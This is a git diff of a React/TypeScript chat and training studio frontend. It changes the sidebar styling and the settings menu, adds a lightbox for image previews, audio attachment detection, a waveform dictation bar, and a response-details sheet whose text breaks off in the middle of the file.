@@ -1360,7 +1731,7 @@ export function AppSidebar() {
                             <span className="truncate">
                               {getTrainingRunDisplayTitle(run)}
                             </span>
-                            <span className="ml-auto mr-0.5 shrink-0 text-[10px] text-muted-foreground">
+                            <span className="ml-auto mr-0.5 shrink-0 text-ui-10 text-muted-foreground">
                               {formatRelativeShort(run.started_at)}
                             </span>
                           </div>
@@ -1448,7 +1819,7 @@ export function AppSidebar() {
                     .openDialog("about", { scrollTarget: "about-updates" });
                   closeMobileIfOpen();
                 }}
-                className="flex h-[44px] w-full items-center gap-[9px] rounded-[14px] border border-border/60 bg-transparent px-2 py-[3px] text-left transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:h-[34px] group-data-[collapsible=icon]:w-[34px] group-data-[collapsible=icon]:justify-center group-data-[collapsible=icon]:gap-0 group-data-[collapsible=icon]:rounded-full group-data-[collapsible=icon]:p-0"
+                className="flex h-[44px] w-full items-center gap-[9px] rounded-[14px] border border-border/60 bg-transparent px-2 py-[3px] text-left transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:h-[34px] group-data-[collapsible=icon]:w-[34px] group-data-[collapsible=icon]:justify-center group-data-[collapsible=icon]:gap-0 group-data-[collapsible=icon]:rounded-full group-data-[collapsible=icon]:p-0"
               >
                 <span
                   aria-hidden="true"
@@ -1461,11 +1832,11 @@ export function AppSidebar() {
                   />
                 </span>
                 <div className="flex min-w-0 flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
-                  <span className="truncate font-heading text-[13.5px] font-semibold text-nav-fg">
+                  <span className="truncate font-heading text-ui-13p5 font-semibold text-nav-fg">
                     {t("shell.updateAvailable")}
                   </span>
                   {updateVersion && (
-                    <span className="truncate text-[11.5px] text-muted-foreground">
+                    <span className="truncate text-ui-11p5 text-muted-foreground">
                       v{updateVersion}
                     </span>
                   )}
@@ -1489,7 +1860,7 @@ export function AppSidebar() {
                 <SidebarMenuButton
                   size="lg"
                   aria-label={t("shell.accountMenu", { name: displayTitle })}
-                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
+                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] pl-2 pr-[45px] py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
                 >
                   <div className="flex shrink-0 items-center">
                     <UserAvatar
@@ -1499,21 +1870,12 @@ export function AppSidebar() {
                       className="!size-[32px] group-data-[collapsible=icon]:!rounded-full"
                     />
                   </div>
-                  <div className="flex flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
-                    <span className="truncate font-heading text-[13.5px] tracking-[0.025em] dark:tracking-[0.04em] font-semibold text-nav-fg">{displayTitle}</span>
-                    <span className="truncate text-[11.5px] tracking-nav text-muted-foreground">Unsloth</span>
+                  {/* min-w-0 so long names truncate instead of overflowing;
+                      pr on the button reserves room for the settings cog */}
+                  <div className="flex min-w-0 flex-1 flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
+                    <span className="truncate font-heading text-ui-13p5 tracking-[0.025em] dark:tracking-[0.04em] font-semibold text-nav-fg">{displayTitle}</span>
+                    <span className="truncate text-ui-11p5 tracking-nav text-muted-foreground">Unsloth</span>
                   </div>
-                  {/* settings cog (replaces the up/down chevron) */}
-                  <span
-                    aria-hidden="true"
-                    className="ml-auto flex size-[32px] shrink-0 items-center justify-center text-muted-foreground group-data-[collapsible=icon]:hidden"
-                  >
-                    <HugeiconsIcon
-                      icon={Settings02Icon}
-                      strokeWidth={1.5}
-                      className="!size-[18px]"
-                    />
-                  </span>
                 </SidebarMenuButton>
               </DropdownMenuTrigger>
               <DropdownMenuContent
@@ -1530,42 +1892,71 @@ export function AppSidebar() {
                     <span>{t("shell.navigation.settings")}</span>
                     <DropdownMenuShortcut>⌘,</DropdownMenuShortcut>
                   </DropdownMenuItem>
-                  <DropdownMenuItem
-                    onSelect={() => useSettingsDialogStore.getState().openDialog("api-keys")}
-                  >
-                    <HugeiconsIcon icon={Globe02Icon} strokeWidth={1.75} className="size-[18px]" />
-                    <span>{t("shell.navigation.api")}</span>
-                    <span className="ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
-                      {t("common.new")}
-                    </span>
-                  </DropdownMenuItem>
-                  <DropdownMenuItem
-                    ref={anchorRef as React.Ref<HTMLDivElement>}
-                    onSelect={(e) => { e.preventDefault(); toggleTheme(); }}
-                  >
-                    {isDark ? <HugeiconsIcon icon={Sun03Icon} strokeWidth={1.75} className="size-icon" /> : <Moon strokeWidth={1.75} className="size-icon" />}
-                    <span>
-                      {isDark
-                        ? t("shell.navigation.lightMode")
-                        : t("shell.navigation.darkMode")}
-                    </span>
-                  </DropdownMenuItem>
-                  {getTourId(pathname) && (
-                    <DropdownMenuItem
-                      onSelect={() => {
-                        const tourId = getTourId(pathname);
-                        if (!tourId) return;
-                        window.dispatchEvent(
-                          new CustomEvent(TOUR_OPEN_EVENT, {
-                            detail: { id: tourId },
-                          }),
-                        );
-                      }}
-                    >
-                      <HugeiconsIcon icon={CursorInfo02Icon} strokeWidth={1.75} className="size-icon" />
-                      <span>{t("shell.navigation.guidedTour")}</span>
-                    </DropdownMenuItem>
-                  )}
+                  {/* Optional items follow the order and visibility set in
+                      Appearance settings; Settings above and the block after
+                      the separator are pinned. */}
+                  {sidebarMenu.map((item) => {
+                    if (!item.visible) return null;
+                    if (item.id === "api") {
+                      return (
+                        <DropdownMenuItem
+                          key={item.id}
+                          onSelect={() => useSettingsDialogStore.getState().openDialog("api-keys")}
+                        >
+                          <HugeiconsIcon icon={Globe02Icon} strokeWidth={1.75} className="size-[18px]" />
+                          <span>{t("shell.navigation.api")}</span>
+                        </DropdownMenuItem>
+                      );
+                    }
+                    if (item.id === "darkMode") {
+                      return (
+                        <DropdownMenuItem
+                          key={item.id}
+                          ref={anchorRef as React.Ref<HTMLDivElement>}
+                          onSelect={(e) => { e.preventDefault(); toggleTheme(); }}
+                        >
+                          {isDark ? <HugeiconsIcon icon={Sun03Icon} strokeWidth={1.75} className="size-icon" /> : <Moon strokeWidth={1.75} className="size-icon" />}
+                          <span>
+                            {isDark
+                              ? t("shell.navigation.lightMode")
+                              : t("shell.navigation.darkMode")}
+                          </span>
+                        </DropdownMenuItem>
+                      );
+                    }
+                    if (item.id === "guidedTour") {
+                      if (!getTourId(pathname)) return null;
+                      return (
+                        <DropdownMenuItem
+                          key={item.id}
+                          onSelect={() => {
+                            const tourId = getTourId(pathname);
+                            if (!tourId) return;
+                            window.dispatchEvent(
+                              new CustomEvent(TOUR_OPEN_EVENT, {
+                                detail: { id: tourId },
+                              }),
+                            );
+                          }}
+                        >
+                          <HugeiconsIcon icon={CursorInfo02Icon} strokeWidth={1.75} className="size-icon" />
+                          <span>{t("shell.navigation.guidedTour")}</span>
+                        </DropdownMenuItem>
+                      );
+                    }
+                    // Remaining ids are settings tabs shown by their tab name.
+                    const settingsTabId = item.id;
+                    const tab = SETTINGS_TAB_MENU_ITEMS[settingsTabId];
+                    return (
+                      <DropdownMenuItem
+                        key={item.id}
+                        onSelect={() => useSettingsDialogStore.getState().openDialog(settingsTabId)}
+                      >
+                        <HugeiconsIcon icon={tab.icon} strokeWidth={1.75} className="size-icon" />
+                        <span>{t(tab.labelKey)}</span>
+                      </DropdownMenuItem>
+                    );
+                  })}
                 </DropdownMenuGroup>
                 <DropdownMenuSeparator className="mx-1! my-2.5! h-0! border-t border-border/70 bg-transparent!" />
                 <DropdownMenuItem
@@ -1599,6 +1990,20 @@ export function AppSidebar() {
                 )}
               </DropdownMenuContent>
             </DropdownMenu>
+            {/* settings cog; sibling of the trigger (buttons cannot nest),
+                overlaid on the row's right edge, opens settings directly */}
+            <button
+              type="button"
+              aria-label={t("shell.navigation.settings")}
+              onClick={() => useSettingsDialogStore.getState().openDialog()}
+              className="absolute right-2 top-1/2 flex size-[32px] -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-black/10 hover:text-foreground dark:hover:bg-white/10 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring group-data-[collapsible=icon]:hidden"
+            >
+              <HugeiconsIcon
+                icon={Settings02Icon}
+                strokeWidth={1.5}
+                className="!size-[18px]"
+              />
+            </button>
           </SidebarMenuItem>
         </SidebarMenu>
       </SidebarFooter>
diff --git a/studio/frontend/src/components/assistant-ui/attachment.tsx b/studio/frontend/src/components/assistant-ui/attachment.tsx
index 0a59d75964..b26840cc02 100644
--- a/studio/frontend/src/components/assistant-ui/attachment.tsx
+++ b/studio/frontend/src/components/assistant-ui/attachment.tsx
@@ -7,6 +7,7 @@
 import { TooltipIconButton } from "@/components/assistant-ui/tooltip-icon-button";
 import {
   Dialog,
+  DialogClose,
   DialogContent,
   DialogTitle,
   DialogTrigger,
@@ -24,15 +25,10 @@ import {
   useAui,
   useAuiState,
 } from "@assistant-ui/react";
-import { File02Icon } from "@hugeicons/core-free-icons";
+import { AudioWave01Icon, File02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { PlusIcon, XIcon } from "lucide-react";
-import {
-  type FC,
-  type PropsWithChildren,
-  useEffect,
-  useState,
-} from "react";
+import { type FC, type PropsWithChildren, useEffect, useState } from "react";
 import { useShallow } from "zustand/shallow";
 
 const useFileSrc = (file: File | undefined): string | undefined => {
@@ -83,7 +79,7 @@ const AttachmentPreview: FC<AttachmentPreviewProps> = ({ src }) => {
       src={src}
       alt="Preview"
       className={cn(
-        "block h-auto max-h-[80vh] w-auto max-w-full object-contain",
+        "block h-auto max-h-[90dvh] w-auto max-w-[92vw] object-contain",
         isLoaded
           ? "aui-attachment-preview-image-loaded"
           : "aui-attachment-preview-image-loading invisible",
@@ -108,21 +104,43 @@ const AttachmentPreviewDialog: FC<PropsWithChildren> = ({ children }) => {
       >
         {children}
       </DialogTrigger>
-      <DialogContent className="aui-attachment-preview-dialog-content p-2 sm:max-w-3xl [&>button]:rounded-full [&>button]:bg-foreground/60 [&>button]:p-1 [&>button]:opacity-100 [&>button]:ring-0! [&_svg]:text-background [&>button]:hover:[&_svg]:text-destructive">
+      {/* Chrome-free lightbox: the image floats on the dimmed backdrop with
+          no dialog panel, and the close button sits in the screen corner. */}
+      <DialogContent
+        overlayClassName="bg-black/70"
+        className="aui-attachment-preview-dialog-content top-0 left-0 grid h-dvh w-screen max-w-none translate-x-0 translate-y-0 place-items-center rounded-none border-0 bg-transparent p-0 shadow-none ring-0 sm:max-w-none [&>button]:fixed [&>button]:top-4 [&>button]:right-4 [&>button]:z-20 [&>button]:size-9 [&>button]:rounded-full [&>button]:bg-transparent [&>button]:text-white [&>button]:opacity-100 [&>button]:ring-0! [&>button]:hover:bg-white/25 [&>button]:hover:text-white [&_svg]:text-white"
+      >
         <DialogTitle className="aui-sr-only sr-only">
           Image Attachment Preview
         </DialogTitle>
-        <div className="aui-attachment-preview relative mx-auto flex max-h-[80dvh] w-full items-center justify-center overflow-hidden bg-background">
-          <AttachmentPreview src={src} />
+        {/* Clicking the backdrop (anywhere off the image) closes the preview. */}
+        <DialogClose asChild={true}>
+          <div aria-hidden="true" className="absolute inset-0" />
+        </DialogClose>
+        <div className="aui-attachment-preview pointer-events-none relative z-10 flex items-center justify-center">
+          <span className="pointer-events-auto">
+            <AttachmentPreview src={src} />
+          </span>
         </div>
       </DialogContent>
     </Dialog>
   );
 };
 
+const AUDIO_ATTACHMENT_RE = /\.(wav|mp3|m4a|ogg|oga|flac|webm|mp4|aac)$/i;
+
+const isAudioAttachment = (name: string | undefined, contentType: string) =>
+  /^audio\//i.test(contentType) || AUDIO_ATTACHMENT_RE.test(name ?? "");
+
 const AttachmentThumb: FC = () => {
   const src = useAttachmentSrc();
   const name = useAuiState(({ attachment }) => attachment.name);
+  const contentType = useAuiState(
+    ({ attachment }) =>
+      (attachment as { file?: File }).file?.type ??
+      (attachment as { contentType?: string }).contentType ??
+      "",
+  );
 
   if (src) {
     return (
@@ -137,7 +155,7 @@ const AttachmentThumb: FC = () => {
   return (
     <div className="flex h-full w-full items-center justify-center">
       <HugeiconsIcon
-        icon={File02Icon}
+        icon={isAudioAttachment(name, contentType) ? AudioWave01Icon : File02Icon}
         strokeWidth={2}
         className="size-6 text-muted-foreground"
       />
@@ -159,7 +177,12 @@ const AttachmentUI: FC = () => {
       case "document":
         return "Document";
       case "file":
-        return "File";
+        return isAudioAttachment(
+          attachment.name,
+          (attachment as { file?: File }).file?.type ?? "",
+        )
+          ? "Audio"
+          : "File";
       default:
         throw new Error(`Unknown attachment type: ${type as string}`);
     }
diff --git a/studio/frontend/src/components/assistant-ui/audio-player.tsx b/studio/frontend/src/components/assistant-ui/audio-player.tsx
index 8836eddff5..51ea646498 100644
--- a/studio/frontend/src/components/assistant-ui/audio-player.tsx
+++ b/studio/frontend/src/components/assistant-ui/audio-player.tsx
@@ -100,7 +100,7 @@ export const AudioPlayer: FC<AudioPlayerProps> = ({ src }) => {
           onChange={handleSeek}
           className="h-1.5 w-full cursor-pointer accent-primary"
         />
-        <div className="flex justify-between text-[10px] text-muted-foreground">
+        <div className="flex justify-between text-ui-10 text-muted-foreground">
           <span>{formatTime(progress)}</span>
           <span>{formatTime(duration)}</span>
         </div>
diff --git a/studio/frontend/src/components/assistant-ui/chat-dictation-bar.tsx b/studio/frontend/src/components/assistant-ui/chat-dictation-bar.tsx
new file mode 100644
index 0000000000..64b0b46735
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/chat-dictation-bar.tsx
@@ -0,0 +1,231 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Spinner } from "@/components/ui/spinner";
+import {
+  cancelActiveStudioDictation,
+  subscribeDictationLevel,
+} from "@/features/chat";
+import { useAui, useAuiState } from "@assistant-ui/react";
+import { CheckIcon, XIcon } from "lucide-react";
+import { type FC, useEffect, useRef, useState } from "react";
+import { TooltipIconButton } from "./tooltip-icon-button";
+
+// Dense row of dots that rise into centered recording bars.
+const BAR_COUNT = 84;
+// Peak height multiple for the loudest audio (dot is 4px). Under the 40px pill
+// so bars don't touch the edges.
+const MAX_SCALE = 8;
+// Time for a sample to slide one bar-width left (drift speed). Bars interpolate
+// between samples each frame, so a slower interval stays smooth.
+const PUSH_INTERVAL_MS = 165;
+// If no real mic level arrives for this long (e.g. Web Audio unavailable), fall
+// back to a gentle idle shimmer so the bar stays alive.
+const IDLE_AFTER_MS = 450;
+const WAVE_BAR_IDS = Array.from(
+  { length: BAR_COUNT },
+  (_, index) => `wave-bar-${index}`,
+);
+
+function formatElapsed(ms: number): string {
+  const total = Math.floor(ms / 1000);
+  const m = Math.floor(total / 60);
+  const s = total % 60;
+  return `${m}:${s.toString().padStart(2, "0")}`;
+}
+
+/**
+ * Recording UI shown in place of the composer input: a live waveform with
+ * discard and confirm on the right. Confirm transcribes; discard keeps the
+ * existing composer text.
+ */
+export const ChatDictationBar: FC = () => {
+  const aui = useAui();
+  const isDictating = useAuiState((s) => s.composer.dictation != null);
+  const [transcribing, setTranscribing] = useState(false);
+  const [elapsed, setElapsed] = useState(0);
+  const transcribingRef = useRef(false);
+  // Extra slot: newest sample lands here; the last visible bar slides toward it.
+  const barsRef = useRef<number[]>(new Array(BAR_COUNT + 1).fill(0));
+  const rowRef = useRef<HTMLDivElement | null>(null);
+
+  useEffect(() => {
+    if (!isDictating) {
+      return;
+    }
+
+    const startedAt = Date.now();
+    let peak = 0; // loudest level seen since the last waveform advance
+    let smoothed = 0;
+    let lastLevelAt = 0;
+    const barEls = rowRef.current
+      ? Array.from(rowRef.current.children).filter(
+          (el): el is HTMLElement => el instanceof HTMLElement,
+        )
+      : [];
+    // Paint the bars imperatively (not via React state) so the waveform does not
+    // thrash renders. The spans carry no style prop, so React never overwrites
+    // these transforms on an elapsed-timer re-render. At rest each is a round dot
+    // (scaleY 1); louder audio scales it into a thin centered bar.
+    for (const el of barEls) {
+      el.style.transform = "scaleY(1)";
+      el.style.opacity = "0.62";
+    }
+
+    // Push one new sample, dropping the oldest.
+    const commitSample = () => {
+      const bars = barsRef.current;
+      let level = peak;
+      peak = 0;
+      if (Date.now() - lastLevelAt > IDLE_AFTER_MS) {
+        level = 0.075 + 0.055 * (1 + Math.sin(Date.now() / 360));
+      }
+      // Quiet speech needs a perceptual lift. Fast attack, slower release:
+      // removes twitching while preserving clear peaks.
+      const visual = Math.min(1, Math.max(0, level) ** 0.62 * 1.45);
+      smoothed =
+        visual >= smoothed
+          ? smoothed * 0.2 + visual * 0.8
+          : smoothed * 0.78 + visual * 0.22;
+      bars.push(smoothed);
+      while (bars.length > BAR_COUNT + 1) {
+        bars.shift();
+      }
+    };
+
+    // Keep the loudest mic level between advances so downsampling to
+    // PUSH_INTERVAL_MS doesn't swallow peaks in quiet gaps.
+    const unsub = subscribeDictationLevel((level) => {
+      if (level > peak) {
+        peak = level;
+      }
+      lastLevelAt = Date.now();
+    });
+
+    // Repaint every frame; bars interpolate between samples so the wave glides.
+    // Timer updates at most once per second.
+    let lastPushAt = performance.now();
+    let shownSecond = -1;
+    let raf = 0;
+
+    const frame = () => {
+      raf = requestAnimationFrame(frame);
+      if (transcribingRef.current) {
+        return;
+      }
+
+      const now = performance.now();
+      const bars = barsRef.current;
+      let steps = 0;
+      while (now - lastPushAt >= PUSH_INTERVAL_MS && steps < BAR_COUNT + 1) {
+        commitSample();
+        lastPushAt += PUSH_INTERVAL_MS;
+        steps++;
+      }
+      // Drop stale backlog if rAF was paused (tab backgrounded).
+      if (now - lastPushAt >= PUSH_INTERVAL_MS) {
+        lastPushAt = now;
+      }
+
+      const phase = Math.min(1, (now - lastPushAt) / PUSH_INTERVAL_MS);
+      for (let i = 0; i < barEls.length; i++) {
+        // Bar i drifts toward its right neighbour as phase goes 0 to 1.
+        const a = bars[i] ?? 0;
+        const b = bars[i + 1] ?? a;
+        const v = a + (b - a) * phase;
+        barEls[i].style.transform = `scaleY(${1 + v * (MAX_SCALE - 1)})`;
+        barEls[i].style.opacity = `${0.62 + v * 0.38}`;
+      }
+
+      const elapsedMs = Date.now() - startedAt;
+      const second = Math.floor(elapsedMs / 1000);
+      if (second !== shownSecond) {
+        shownSecond = second;
+        setElapsed(elapsedMs);
+      }
+    };
+    raf = requestAnimationFrame(frame);
+
+    // Reset in cleanup (dictation end or unmount) so the next session starts
+    // fresh, without a synchronous setState in the effect body.
+    return () => {
+      unsub();
+      cancelAnimationFrame(raf);
+      transcribingRef.current = false;
+      setTranscribing(false);
+      setElapsed(0);
+      barsRef.current = new Array(BAR_COUNT + 1).fill(0);
+    };
+  }, [isDictating]);
+
+  if (!isDictating) {
+    return null;
+  }
+
+  const discard = () => {
+    cancelActiveStudioDictation();
+  };
+
+  const confirm = () => {
+    // Freeze the timer + waveform before the transcription round trip completes
+    // and the session ends.
+    transcribingRef.current = true;
+    setTranscribing(true);
+    aui.composer().stopDictation();
+  };
+
+  return (
+    <fieldset
+      // order-2 places the bar in the input's slot after the left "+" tools.
+      className="unsloth-dictation-bar order-2 m-0 flex min-w-0 flex-1 items-center gap-2 border-0 p-0"
+      aria-label="Voice recording"
+    >
+      <div
+        ref={rowRef}
+        aria-hidden="true"
+        className="unsloth-dictation-wave grid h-10 min-w-0 flex-1 items-center overflow-hidden px-2"
+        style={{
+          gridTemplateColumns: `repeat(${BAR_COUNT}, minmax(1px, 3px))`,
+          justifyContent: "space-between",
+        }}
+      >
+        {WAVE_BAR_IDS.map((barId) => (
+          <span
+            key={barId}
+            className="h-1 w-full origin-center rounded-full bg-foreground opacity-[0.62] will-change-transform"
+          />
+        ))}
+      </div>
+      <span className="shrink-0 tabular-nums text-sm text-muted-foreground">
+        {formatElapsed(elapsed)}
+      </span>
+      <div className="flex shrink-0 items-center gap-1">
+        <TooltipIconButton
+          type="button"
+          tooltip="Discard recording"
+          aria-label="Discard recording"
+          variant="ghost"
+          onClick={discard}
+          className="size-8 rounded-full text-muted-foreground hover:text-foreground"
+        >
+          <XIcon className="size-5" />
+        </TooltipIconButton>
+        <TooltipIconButton
+          type="button"
+          tooltip={transcribing ? "Transcribing…" : "Stop and transcribe"}
+          aria-label="Stop and transcribe"
+          variant="default"
+          onClick={confirm}
+          disabled={transcribing}
+          className="size-8 rounded-full"
+        >
+          {transcribing ? (
+            <Spinner className="size-4" />
+          ) : (
+            <CheckIcon className="size-5" />
+          )}
+        </TooltipIconButton>
+      </div>
+    </fieldset>
+  );
+};
diff --git a/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
new file mode 100644
index 0000000000..8b2e9e37ea
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
@@ -0,0 +1,483 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import {
+  Sheet,
+  SheetContent,
+  SheetDescription,
+  SheetHeader,
+  SheetTitle,
+} from "@/components/ui/sheet";
+import {
+  customProviderDisplayName,
+  parseExternalModelId,
+  useChatPreferencesStore,
+  useChatRuntimeStore,
+  useExternalProvidersStore,
+} from "@/features/chat";
+import { cn } from "@/lib/utils";
+import { HelpCircleIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useMessage, useMessageTiming } from "@assistant-ui/react";
+import type { FC, ReactNode } from "react";
+
+type ResponseDetailsMetadata = {
+  modelId?: string;
+  modelLabel?: string;
+  responseModelId?: string;
+  providerId?: string;
+  providerName?: string;
+  providerType?: string;
+  startedAt?: number;
+  finishedAt?: number;
+  durationMs?: number;
+  sessionId?: string | null;
+  cancelId?: string;
+  toolCalls?: string[];
+  tools?: Record<string, boolean | undefined>;
+};
+
+type ContextUsageMetadata = {
+  promptTokens?: number;
+  completionTokens?: number;
+  totalTokens?: number;
+  cachedTokens?: number;
+  cacheWriteTokens?: number;
+  modelId?: string;
+};
+
+type MessageCustomMetadata = {
+  responseDetails?: ResponseDetailsMetadata;
+  contextUsage?: ContextUsageMetadata;
+  serverTimings?: Record<string, unknown>;
+  reasoningDuration?: number;
+};
+
+function asNumber(value: unknown): number | undefined {
+  return typeof value === "number" && Number.isFinite(value)
+    ? value
+    : undefined;
+}
+
+function formatNumber(value: number | undefined): string | null {
+  return value == null ? null : value.toLocaleString();
+}
+
+function formatMs(value: number | undefined): string | null {
+  if (value == null) return null;
+  if (value < 1000) return `${Math.round(value)}ms`;
+  return `${(value / 1000).toFixed(2)}s`;
+}
+
+function formatRate(value: number | undefined): string | null {
+  if (value == null) return null;
+  return `${value.toFixed(1)} tok/s`;
+}
+
+function formatDate(value: Date | number | string | undefined): string | null {
+  if (value == null) return null;
+  const date = value instanceof Date ? value : new Date(value);
+  if (Number.isNaN(date.getTime())) return null;
+  return new Intl.DateTimeFormat(undefined, {
+    dateStyle: "medium",
+    timeStyle: "medium",
+  }).format(date);
+}
+
+const TOOL_CATEGORY_LABELS: Record<string, string> = {
+  search: "Search",
+  fetch: "Fetch",
+  code: "Code",
+  images: "Images",
+  mcp: "MCP",
+  docs: "Docs",
+  artifacts: "Canvas",
+};
+
+const TOOL_CALL_LABELS: Record<string, string> = {
+  web_search: "Search",
+  web_fetch: "Fetch",
+  code_execution: "Code",
+  python: "Python",
+  terminal: "Terminal",
+  image_generation: "Images",
+  search_knowledge_base: "Docs",
+  render_html: "Canvas",
+};
+
+function uniqueValues(values: string[]): string[] {
+  return Array.from(new Set(values));
+}
+
+function toolCategoryFromCall(toolName: string): string | null {
+  const normalized = toolName.toLowerCase();
+  if (normalized === "web_search") return "search";
+  if (normalized === "web_fetch") return "fetch";
+  if (
+    normalized === "code_execution" ||
+    normalized === "python" ||
+    normalized === "terminal"
+  ) {
+    return "code";
+  }
+  if (normalized === "image_generation") return "images";
+  if (normalized === "search_knowledge_base") return "docs";
+  if (normalized === "render_html") return "artifacts";
+  if (normalized.startsWith("mcp__")) return "mcp";
+  return null;
+}
+
+function formatToolCallName(toolName: string): string {
+  const normalized = toolName.toLowerCase();
+  if (TOOL_CALL_LABELS[normalized]) return TOOL_CALL_LABELS[normalized];
+  if (normalized.startsWith("mcp__")) return `MCP: ${toolName.slice(5)}`;
+  return toolName
+    .replace(/[_-]+/g, " ")
+    .replace(/\b\w/g, (letter) => letter.toUpperCase());
+}
+
+function toolCallsFromContent(content: unknown): string[] {
+  if (!Array.isArray(content)) return [];
+  return uniqueValues(
+    content
+      .map((part) =>
+        part && typeof part === "object" && "type" in part
+          ? (part as { type?: unknown; toolName?: unknown })
+          : null,
+      )
+      .filter(
+        (part): part is { type: "tool-call"; toolName: string } =>
+          part?.type === "tool-call" &&
+          typeof part.toolName === "string" &&
+          part.toolName.length > 0,
+      )
+      .map((part) => part.toolName),
+  );
+}
+
+function enabledTools(
+  tools: Record<string, boolean | undefined> | undefined,
+  toolCalls: string[],
+): string | null {
+  if (!tools && toolCalls.length === 0) return null;
+  const activeKeys = new Set<string>();
+  for (const key of Object.keys(TOOL_CATEGORY_LABELS)) {
+    if (tools?.[key] === true) activeKeys.add(key);
+  }
+  for (const toolName of toolCalls) {
+    const key = toolCategoryFromCall(toolName);
+    if (key) activeKeys.add(key);
+  }
+  const active = Object.keys(TOOL_CATEGORY_LABELS)
+    .filter((key) => activeKeys.has(key))
+    .map((key) => TOOL_CATEGORY_LABELS[key]);
+  return active.length > 0 ? active.join(", ") : "None";
+}
+
+function calledTools(toolCalls: string[]): string | null {
+  if (toolCalls.length === 0) return null;
+  return uniqueValues(toolCalls.map(formatToolCallName)).join(", ");
+}
+
+function DetailSection({
+  title,
+  children,
+}: {
+  title: string;
+  children: ReactNode;
+}) {
+  return (
+    <section className="rounded-md bg-muted/45 p-3">
+      <h3 className="mb-2 font-heading text-foreground text-sm">{title}</h3>
+      <div className="grid gap-2">{children}</div>
+    </section>
+  );
+}
+
+function DetailRow({
+  label,
+  value,
+  mono = false,
+}: {
+  label: string;
+  value: ReactNode | null | undefined;
+  mono?: boolean;
+}) {
+  if (value == null || value === "") return null;
+  return (
+    <div className="grid grid-cols-[8.5rem_minmax(0,1fr)] items-start gap-3 text-ui-13">
+      <span className="text-muted-foreground">{label}</span>
+      <span
+        className={cn(
+          "min-w-0 break-words text-right text-foreground",
+          mono && "font-mono tabular-nums",
+        )}
+      >
+        {value}
+      </span>
+    </div>
+  );
+}
+
+function useResponseModelDisplay() {
+  const message = useMessage();
+  const models = useChatRuntimeStore((s) => s.models);
+  const providers = useExternalProvidersStore((s) => s.providers);
+
+  const custom = (
+    message.metadata as Record<string, unknown> | undefined
+  )?.custom as MessageCustomMetadata | undefined;
+  const responseDetails = custom?.responseDetails;
+  const usage = custom?.contextUsage;
+  const serverTimings = custom?.serverTimings;
+
+  const recordedModelId =
+    responseDetails?.responseModelId ??
+    responseDetails?.modelId ??
+    usage?.modelId;
+  const parsedExternal = parseExternalModelId(recordedModelId);
+  const provider = parsedExternal
+    ? providers.find((candidate) => candidate.id === parsedExternal.providerId)
+    : null;
+  const modelSummary = models.find(
+    (candidate) => candidate.id === recordedModelId,
+  );
+  const modelLabel =
+    responseDetails?.modelLabel ??
+    responseDetails?.responseModelId ??
+    parsedExternal?.modelId ??
+    modelSummary?.name ??
+    recordedModelId ??
+    "Not recorded";
+  const providerLabel =
+    responseDetails?.providerName ??
+    provider?.name ??
+    (responseDetails?.providerType
+      ? customProviderDisplayName(responseDetails.providerType)
+      : parsedExternal
+        ? customProviderDisplayName(provider?.providerType)
+        : recordedModelId
+          ? "Local model"
+          : null);
+
+  return {
+    message,
+    custom,
+    responseDetails,
+    usage,
+    serverTimings,
+    modelLabel,
+    providerLabel,
+  };
+}
+
+export const MessageResponseModelBadge: FC<{ className?: string }> = ({
+  className,
+}) => {
+  const showResponseModel = useChatPreferencesStore(
+    (state) => state.showResponseModel,
+  );
+  const { modelLabel, providerLabel } = useResponseModelDisplay();
+
+  if (!showResponseModel || modelLabel === "Not recorded") {
+    return null;
+  }
+
+  return (
+    <span
+      className={cn(
+        "aui-response-model-badge pointer-events-none relative inline-flex min-h-5 max-w-full cursor-text select-text items-center text-muted-foreground/80 text-xs font-medium leading-5 opacity-0 transition-opacity duration-150 after:absolute after:inset-x-0 after:top-full after:h-1 after:content-[''] hover:opacity-100 group-hover/assistant-message:pointer-events-auto group-hover/assistant-message:opacity-100 group-focus-within/assistant-message:pointer-events-auto group-focus-within/assistant-message:opacity-100",
+        className,
+      )}
+      title={providerLabel ? `${modelLabel} - ${providerLabel}` : modelLabel}
+    >
+      <span className="min-w-0 truncate align-middle">{modelLabel}</span>
+    </span>
+  );
+};
+
+export const MessageResponseDetailsSheet: FC<{
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+}> = ({ open, onOpenChange }) => {
+  const timing = useMessageTiming();
+  const {
+    message,
+    responseDetails,
+    usage,
+    serverTimings,
+    modelLabel,
+    providerLabel,
+  } = useResponseModelDisplay();
+  const promptTokens =
